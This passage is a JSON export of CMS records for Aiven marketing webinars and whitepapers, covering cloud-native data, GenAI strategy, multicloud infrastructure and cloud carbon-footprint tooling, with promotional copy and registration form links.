{"__i18n_lang":"en","_createdAt":"2023-09-20T20:43:45Z","_id":"02b14d64-a738-493c-8bd8-5173fb97879a","_rev":"kEHuFmUBKgAmSEW7BgP1gC","_type":"webinar","_updatedAt":"2023-12-11T09:57:40Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"26e71e39547d","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"},{"_key":"ded9881a0284","_ref":"129d464a-eeda-4709-b8bb-e5f81f0c592a","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"showProfilePage":false,"variant":"default"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"f9f8fde8a46f","_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"webinar"},{"_key":"fffb8b3e2957","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Explore Aiven Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"e96d544634db","_type":"block","children":[{"_key":"94d0cfe1b38b0","_type":"span","marks":[],"text":"One platform for streaming, storing and analyzing data on any cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven Platform","variant":"default"},{"_key":"376968946ec5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Learn More"},"image":{"_type":"mainImage","asset":{"_ref":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"3d2a7ea8688f","_type":"block","children":[{"_key":"43d85df38d930","_type":"span","marks":[],"text":"Get the proven open source data services you love on Google Cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven + Google Cloud Partnership","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-31/sgndj","iframeTitle":"Register Webinar BYOC","title":"Register for June 15th at 9 AM ET | 3 PM CET"},"subtitle":[{"_key":"3133f911d387","_type":"block","children":[{"_key":"7d7d9e194466","_type":"span","marks":[],"text":"In today’s world of microservices architecture, applications are increasingly distributed across multiple nodes and machines. This makes it difficult to manage and maintain these applications, especially when it comes to data. Data can be distributed and stored in silos, which makes it difficult for organizations — both big and small — to extract value. "}],"markDefs":[],"style":"normal"},{"_key":"28a52d119c2f","_type":"block","children":[{"_key":"b5ac0f8fb05a0","_type":"span","marks":[],"text":"In this on-demand webinar, Aiven’s Matty Stratton and Google’s Kaslin Fields, guide you through the steps to manage the data on your distributed applications. By leveraging data’s inherent gravity, it can be used across all components of your applications."}],"markDefs":[],"style":"normal"},{"_key":"81019d8d0601","_type":"block","children":[{"_key":"3eb6a15490620","_type":"span","marks":[],"text":"Key Takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"1f9022b49cb3","_type":"block","children":[{"_key":"8d0e74847c0b","_type":"span","marks":[],"text":"What is distributed computing and challenges with distributed data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a0c9b65a32e3","_type":"block","children":[{"_key":"c2fd9d821125","_type":"span","marks":[],"text":"How Aiven Platform and Kubernetes can help you manage your distributed applications and distributed data. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f7aa8ea250e5","_type":"block","children":[{"_key":"14dd8139425a","_type":"span","marks":[],"text":"Insights on how to improve the performance, scalability and reliability of your distributed applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Learn how Aiven and Kubernetes can help you manage your distributed applications and distributed data. ","thankyouContent":[{"_key":"5ef60e1edd8c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Thank you for registering ","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Read blog post"},"rounded":false,"text":[{"_key":"7d9cd3b8510d","_type":"block","children":[{"_key":"8307cf7cdc62","_type":"span","marks":[],"text":"You should receive an invitation soon! "}],"markDefs":[],"style":"normal"},{"_key":"5275c87670b4","_type":"block","children":[{"_key":"0af8c48edc10","_type":"span","marks":[],"text":"Meanwhile, learn how to optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","variant":"mediaLeft"}],"title":"The Future of Cloud Native Data is Now","ytId":"-4tONiXvby8"},"publishedAt":"2023-09-28T16:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"03eeda22d632","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"63d7f2808d36","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"You will leave this session with a better understanding of how Aiven and Kubernetes can help you manage your distributed applications and distributed data. You will also be able to start planning how to improve the performance, scalability and reliability of your distributed applications.","metaImage":{"_type":"mainImage","alt":"The Future of Cloud Native Data is Now Webinar","asset":{"_ref":"image-85ffd7b9778bc724bfd54a63959a4710e480219c-3295x1724-png","_type":"reference"}},"metaTitle":"The Future of Cloud Native Data is Now"},"slug":{"_type":"slug","current":"/webinar/the-future-of-cloud-native-data-is-now"}} {"__i18n_base":{"_ref":"434fa742-3982-4074-a939-689d06e1b77f","_type":"reference"},"__i18n_lang":"de","_createdAt":"2024-08-14T19:29:46Z","_id":"434fa742-3982-4074-a939-689d06e1b77f__i18n_de","_rev":"6956bO5Ay5CqxmnT0WTN4Q","_type":"webinar","_updatedAt":"2024-11-07T10:17:52Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"86192c050dfa","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"23f2af5dbc07","_ref":"032e9a1b-a441-4685-9a3e-1db10bd5840b__i18n_de","_type":"reference"},{"_key":"3afd5ecfe713","_ref":"d50ab28d-b9b6-48d8-84cc-02b4cfef1921__i18n_de","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Über unsere Sprecher","variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioEventId":"9JnheTq7x1M8Egde","demioSubmitText":"Register","title":"Secure Your Spot"},"downloadText":"Jetzt ansehen","hasVideo":true,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-22/ty8kl","title":"Watch the recording"},"registrationType":"iframe","subtitle":[{"_key":"d70172a80cbf","_type":"block","children":[{"_key":"4dc38250ea590","_type":"span","marks":[],"text":"Generative AI bietet Unternehmen enorme Potenziale, aber auch Herausforderungen. In unserem Webinar mit AWS erfahren Sie, wie Sie gängige Missverständnisse beseitigen und auf aktuelle Trends reagieren können. Wir zeigen Ihnen, wie Sie Halluzinationen bei GenAI-Modellen durch "},{"_key":"4dc38250ea591","_type":"span","marks":["strong"],"text":"Retrieval-Augmented Generation (RAG)"},{"_key":"4dc38250ea592","_type":"span","marks":[],"text":" minimieren und Datensilos durch eine "},{"_key":"4dc38250ea593","_type":"span","marks":["strong"],"text":"Multi-Cloud-Strategie"},{"_key":"4dc38250ea594","_type":"span","marks":[],"text":" aufbrechen. Lernen Sie außerdem den "},{"_key":"4dc38250ea595","_type":"span","marks":["strong"],"text":"Aiven AI Database Optimizer"},{"_key":"4dc38250ea596","_type":"span","marks":[],"text":" kennen, der Ihre Modelle leistungsfähiger und skalierbarer macht."}],"markDefs":[],"style":"normal"},{"_key":"75d8b9797690","_type":"block","children":[{"_key":"56a5c6f2b82c0","_type":"span","marks":[],"text":"Themen:"}],"markDefs":[],"style":"h4"},{"_key":"552ec4dd315e","_type":"block","children":[{"_key":"7fc72f95b5570","_type":"span","marks":["strong"],"text":"Trends und Anwendungsfälle von Generative AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c6a8b779aa0b","_type":"block","children":[{"_key":"314afc4d6b710","_type":"span","marks":["strong"],"text":"Halluzinationen vermeiden mit RAG"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"052566352e8d","_type":"block","children":[{"_key":"d99476e8a4cd0","_type":"span","marks":["strong"],"text":"Datensilos überwinden mit Multi-Cloud"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"95fdefe33934","_type":"block","children":[{"_key":"375593490fd20","_type":"span","marks":["strong"],"text":"Leistung und Skalierbarkeit steigern mit dem Aiven AI Database Optimizer"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b13c26c3a434","_type":"block","children":[{"_key":"3331f042ee180","_type":"span","marks":[],"text":"Schauen Sie sich das Webinar jetzt an!"}],"markDefs":[],"style":"normal"}],"summary":"Erfahren Sie in unserem Webinar, wie Sie drei kritische Fehler in Ihrer GenAI-Strategie umgehen und gleichzeitig Effizienz und Skalierbarkeit mit Aiven und AWS steigern können.","thankyouContent":[{"_key":"ac6f4838d208","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"c683ab2ded48","_type":"block","children":[{"_key":"65b90d82776d0","_type":"span","marks":[],"text":"Thank you for your interest! Watch the \"Build to scale with Aiven!\" webinar here. Learn how to scale apps quickly and discover strategies to leverage flexibility and cost advantages across the clouds."}],"markDefs":[],"style":"normal"}],"title":"Watch now: Evolve and scale your apps with AI and caching strategies","topOverlap":false,"variant":"mediaRight","ytId":"QHot2NzH_wg"}],"title":"3 Fallstricke vermeiden: Erfolgreiche GenAl-Strategien","videoHosting":"youtube","ytId":"Hq2whDJDRTo"},"publishedAt":"2024-08-14T16:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"64b5e8250b36","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"8cbe0405303b","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"On-Demand Webinar: Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","metaImage":{"_type":"mainImage","alt":"Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","asset":{"_ref":"image-7e1900f921bb39d9618fa8f5c272786423c64a6a-2500x1308-png","_type":"reference"}},"metaTitle":"Engineering a Robust GenAI Strategy"},"slug":{"_type":"slug","current":"/webinar/engineering-robust-genai-strategy"}} {"__i18n_lang":"en","_createdAt":"2024-04-23T16:06:14Z","_id":"f58adcb2-e229-4ee2-b055-5a50813b0853","_rev":"1XCMAqY6JSf6FwwNI9Rhib","_type":"whitepaper","_updatedAt":"2024-04-25T16:01:05Z","asset":{"_type":"gatedAndUngated","contentIsGated":false,"downloadLink":"https://go.aiven.io/thoughtworks-whitepaper","downloadText":"Download now","image":{"_type":"mainImage","asset":{"_ref":"image-57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024-jpg","_type":"reference"}},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-02-28/tmzjx","title":"Download the whitepaper"},"registrationType":"iframe","subtitle":[{"_key":"e00d4c6b6488","_type":"block","children":[{"_key":"9da46ee053c70","_type":"span","marks":["strong"],"text":"Monitor and optimize carbon emissions from your Cloud infrastructure with Aiven."}],"markDefs":[],"style":"normal"},{"_key":"9af807aca6de","_type":"block","children":[{"_key":"1c3dd4c494830","_type":"span","marks":[],"text":"Aiven provides an open-source Carbon Footprint Tool that measures the emissions for every workload in any major cloud. You can then decide to optimize your architecture, or to move a workload into a cloud region with a datacenter with better environmental credentials."}],"markDefs":[],"style":"normal"},{"_key":"9733617afc39","_type":"block","children":[{"_key":"2ae3a0da4ebf0","_type":"span","marks":[],"text":"Those migrations within and across major clouds can be done seamlessly through the Aiven platform tooling. This solution helps your IT team be proactive about protecting the environment. But how does the Carbon Footprint Tool actually work? This is the main focus of our whitepaper."}],"markDefs":[],"style":"normal"},{"_key":"fd044652402b","_type":"block","children":[{"_key":"47e718bb16c10","_type":"span","marks":[],"text":"This whitepaper delves into essential topics such as the Greenhouse Gas Protocol, providing insights into types of emissions and their impact on sustainability strategies. Then we discuss the calculations and provide the essential information to understand how the Carbon Footprint Tool algorithm works."}],"markDefs":[],"style":"normal"},{"_key":"af189b49eb56","_type":"block","children":[{"_key":"25c05923def80","_type":"span","marks":[],"text":"Explore this whitepaper to discover practical tips for curbing your cloud carbon emissions."}],"markDefs":[],"style":"normal"}],"summary":"This whitepaper delves into essential insights into types of emissions and offers practical approaches for managing sustainability. ","thankyouContent":[{"_key":"e8f3d1179a27","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024-jpg","_type":"reference"}},"imagePosition":"top","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/GenAI-InfoBrief","title":"Download white paper"},"roundedCorners":"rounded-none","title":"Thank you for your interest in the \"Corporate cloud and sustainability strategies\"..","variant":"mediaLeft"},{"_key":"u0patlcssnwg5zc6c45p11aco2v4hy4f","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"text":[{"_key":"d19bw2ambrtg21twcwzxsiq3hbchzyya","_type":"block","children":[{"_key":"g0m3nhw9r8kvqqob0uhuagh5ygs2x96w","_type":"span","marks":[],"text":"Modern data platforms are not just databases: They can offer an open, all-in-one cloud data infrastructure that combines the tools you need to connect to the data services you use, on numerous cloud providers."}],"markDefs":[],"style":"normal"}],"title":"The trusted open-source data platform for everyone.","variant":"mediaCenter"}],"title":"Corporate cloud and sustainability strategies"},"publishedAt":"2024-02-20T11:34:50.392Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_type":"reference"},"tags":[{"_key":"372d4ab74df8","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"89096de280f2","_ref":"549c79c6-5fa3-46c6-9f90-a0255825ddab","_type":"tag"},{"_key":"6736e806977f","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"},{"_key":"b0b75c2be5e2","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"This whitepaper delves into essential insights into types of emissions and offers practical approaches for managing sustainability. ","metaImage":{"_type":"mainImage","alt":"Whitepaper: Corporate cloud and sustainability strategies","asset":{"_ref":"image-57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024-jpg","_type":"reference"}},"metaTitle":"Whitepaper: Corporate cloud and sustainability strategies "},"slug":{"_type":"slug","current":"/whitepaper/corporate-cloud-and-sustainability-strategies"}} {"__i18n_lang":"en","_createdAt":"2023-07-20T12:17:38Z","_id":"1ebeb79e-5941-46e8-8994-62f123e6a8d3","_rev":"EgwF35ASC1zRU1qyhduxFj","_type":"whitepaper","_updatedAt":"2024-05-27T13:17:37Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"09f031759dfc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Aiven + IDC + Google Cloud ","text":[{"_key":"e34f5e198947","_type":"block","children":[{"_key":"87629545ec9a0","_type":"span","marks":[],"text":"Created together with Aiven, Google Cloud and IDC, this video talks about cloud-native app trends, the potential of open-source data tech, and simplified cloud data management."}],"markDefs":[],"style":"normal"}],"title":"How to boost developer productivity and data-driven innovation","variant":"mediaLeft","ytId":"2a54E2z8_4U"},{"_key":"149507454aaf","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"3fa16f30723d","_type":"numberItem","description":[{"_key":"e793a73085ab","_type":"block","children":[{"_key":"c3328d4d14bc0","_type":"span","marks":[],"text":"of EMEA organizations see a digital-first strategy as essential"}],"markDefs":[],"style":"normal"},{"_key":"e08aa87daa12","_type":"block","children":[{"_key":"85d2d0dd67a90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"number":"90%"},{"_key":"3291a4395305","_type":"numberItem","description":[{"_key":"4ef788e9c258","_type":"block","children":[{"_key":"3db72853dfd80","_type":"span","marks":[],"text":"of companies delayed digital transformation due to skill gaps in automation, cloud, security, and data management."}],"markDefs":[],"style":"normal"}],"number":"20%"},{"_key":"54acb3729529","_type":"numberItem","description":[{"_key":"0a7c263b0731","_type":"block","children":[{"_key":"03af3b7c5c890","_type":"span","marks":[],"text":"of new apps will be cloud-native by 2024"}],"markDefs":[],"style":"normal"}],"number":"70%"},{"_key":"d807e4659e30","_type":"numberItem","description":[{"_key":"42f43b16b6f3","_type":"block","children":[{"_key":"029789c3cf360","_type":"span","marks":[],"text":"of organizations will adopt DataOps for 80% less errors, trusted analytics, efficient data work"}],"markDefs":[],"style":"normal"}],"number":"60%"}],"rounded":false,"title":"Insights snapshot"},{"_key":"341daaffb67b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","alt":"Diagram showing key technologies to boost data resilience","asset":{"_ref":"image-6599af826629506f1c21179bbd081fe170afcb9c-8000x4500-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false},{"_key":"0ccf43e5bf4dd854088219ba2bca2cea","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/whitepaper-aiven-google-partner-spotlight-accelerate-data-driven-innovation","title":"Download White paper"},"rounded":false,"variant":"centerColumn"},{"_key":"d8ecbc38a482","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"8613d1e531e0","_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"caseStudy"},{"_key":"fd29dda03a18","_ref":"e30f0e28-d18d-4f69-87e3-fb48ee50b209","_type":"caseStudy"},{"_key":"604a9ffec9d8","_ref":"47NwTuWwRg9g7l0ywIXsIR","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"title":"Related content"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/whitepaper-aiven-google-partner-spotlight-accelerate-data-driven-innovation","downloadText":"Download white paper","image":{"_type":"mainImage","alt":"Aiven + Google Cloud + IDC whitepaper","asset":{"_ref":"image-60246127970208894161981232befa7c7a35a840-2500x2500-png","_type":"reference"}},"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2021-11-03/69lwh","iframeTitle":"White paper learning for South-East Asian companies from their US counterparts","title":"Get a download link to this white paper in your inbox"},"subtitle":[{"_key":"b5bf691619df","_type":"block","children":[{"_key":"df116960cdb90","_type":"span","marks":[],"text":"Explore cloud-native app trends, the potential of open-source data tech, and simplified cloud data management:"}],"markDefs":[],"style":"normal"},{"_key":"b57e82d0e795","_type":"block","children":[{"_key":"32f805a632190","_type":"span","marks":[],"text":"Cloud-Native App Shift: Expect a 70% increase in cloud-native apps by 2024, driven by microservices, containers, orchestration, and DevOps."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4a8a9c204b3","_type":"block","children":[{"_key":"8874503b70350","_type":"span","marks":[],"text":"Open Source Data Impact: Learn about Apache Kafka®, Apache Cassandra®, PostgreSQL®, MySQL, Redis®*, and Grafana®'s role in empowering innovation."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9198d2602462","_type":"block","children":[{"_key":"032e3ee6a467","_type":"span","marks":[],"text":"Simplifying Cloud Data Management: Discover the benefits of fully managed open-source data services on a unified cloud platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f7adf836fd3a","_type":"block","children":[{"_key":"96b568b8ee4d","_type":"span","marks":[],"text":"Download the full white paper - with no email required. "}],"markDefs":[],"style":"normal"}],"summary":"Discover how cloud-native apps will surge to 70% by 2024, the impact of open-source data tech, and simplified cloud data management for business innovation. ","thankyouContent":[{"_key":"3176c8f75aac","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"subtitle":[{"_key":"5068254a2d70","_type":"block","children":[{"_key":"6cf92070fa3e","_type":"span","marks":[],"text":"A download link to the "},{"_key":"12301c9cd5dd","_type":"span","marks":["strong"],"text":"What can South-East Asian companies learn from their US counterparts?"},{"_key":"ca0a5279943a","_type":"span","marks":[],"text":" white paper is on its way to your inbox. Enjoy the read!"}],"markDefs":[],"style":"normal"},{"_key":"2d532504f199","_type":"block","children":[{"_key":"bed92b804011","_type":"span","marks":[],"text":"And if you have more questions around how Aiven can fit in your tech stack, why not book a demo with our friendly team?"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest in this white paper.","variant":"oneColumn"}],"title":"Accelerate Data-Driven Innovation and Developer Productivity with Cloud-Native Data Services"},"publishedAt":"2023-08-22T11:15:51.976Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_type":"reference"},"tags":[{"_key":"4582d82c24c3","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"e8fc3b730a04","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore the power of open-source data tech and simplified cloud data management in our IDC Partner Spotlight white paper.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3803db2d63f45cf5fefcfe90c300e91c87fe0800-1200x628-jpg","_type":"reference"}},"metaTitle":"IDC Partner Spotlight: Cloud-Native Trends \u0026 Data Management"},"slug":{"_type":"slug","current":"/whitepaper/accelerate-data-driven-innovation-with-cloud-data-native-services"}} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631__i18n_de","_type":"reference"}],"_createdAt":"2024-02-15T16:37:47Z","_id":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_rev":"4qiJ1B4HOcJb1a1kjgVDTm","_type":"whitepaper","_updatedAt":"2024-11-01T08:57:53Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"image":{"_type":"mainImage","asset":{"_ref":"image-69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008-jpg","_type":"reference"}},"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-02-28/tmzjx","title":"Download the whitepaper"},"registrationType":"iframe","subtitle":[{"_key":"0e4f6477280c","_type":"block","children":[{"_key":"2fe26f2c149c0","_type":"span","marks":[],"text":"Explore the essentials for AI success, sponsored by Aiven and Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"11722c2b68fa","_type":"block","children":[{"_key":"2fe26f2c149c1","_type":"span","marks":["strong"],"text":"Over 80% of Enterprises Prepare for AI Disruption"},{"_key":"2fe26f2c149c2","_type":"span","marks":[],"text":": Learn why AI is set to transform businesses and how you can adapt effectively."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a2b5e57d1e41","_type":"block","children":[{"_key":"2fe26f2c149c3","_type":"span","marks":["strong"],"text":"Strategies for Data Platform Adaptation"},{"_key":"2fe26f2c149c4","_type":"span","marks":[],"text":": Explore practical tips for upgrading your data platforms to meet AI demands."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b5388a42f10","_type":"block","children":[{"_key":"2fe26f2c149c5","_type":"span","marks":["strong"],"text":"Seize the AI Opportunity"},{"_key":"2fe26f2c149c6","_type":"span","marks":[],"text":": Dive into key investments in multicloud infrastructure, external AI platforms, and open-source tools."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1126fe9ad9c7","_type":"block","children":[{"_key":"2fe26f2c149c7","_type":"span","marks":["strong"],"text":"Build an AI-Ready Infrastructure"},{"_key":"2fe26f2c149c8","_type":"span","marks":[],"text":": Discover essential components for creating a robust AI-ready data infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Explore the essentials for AI success in our latest InfoBrief, \"Building a Cloud Data Foundation for the AI Era,\" sponsored by Aiven and Google Cloud. Learn to adapt data platforms for AI success.","thankyouContent":[{"_key":"e8f3d1179a27","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008-jpg","_type":"reference"}},"imagePosition":"top","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/GenAI-InfoBrief","title":"Download white paper"},"roundedCorners":"rounded-none","title":"Thank you for your interest in the \"Building a Cloud Data Foundation for the AI Era\".","variant":"mediaLeft"},{"_key":"u0patlcssnwg5zc6c45p11aco2v4hy4f","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"text":[{"_key":"d19bw2ambrtg21twcwzxsiq3hbchzyya","_type":"block","children":[{"_key":"g0m3nhw9r8kvqqob0uhuagh5ygs2x96w","_type":"span","marks":[],"text":"Modern data platforms are not just databases: They can offer an open, all-in-one cloud data infrastructure that combines the tools you need to connect to the data services you use, on numerous cloud providers."}],"markDefs":[],"style":"normal"}],"title":"The trusted open-source data platform for everyone, powered by Google Cloud","variant":"mediaCenter"}],"title":"IDC InfoBrief: Building a Cloud Data Foundation for the AI 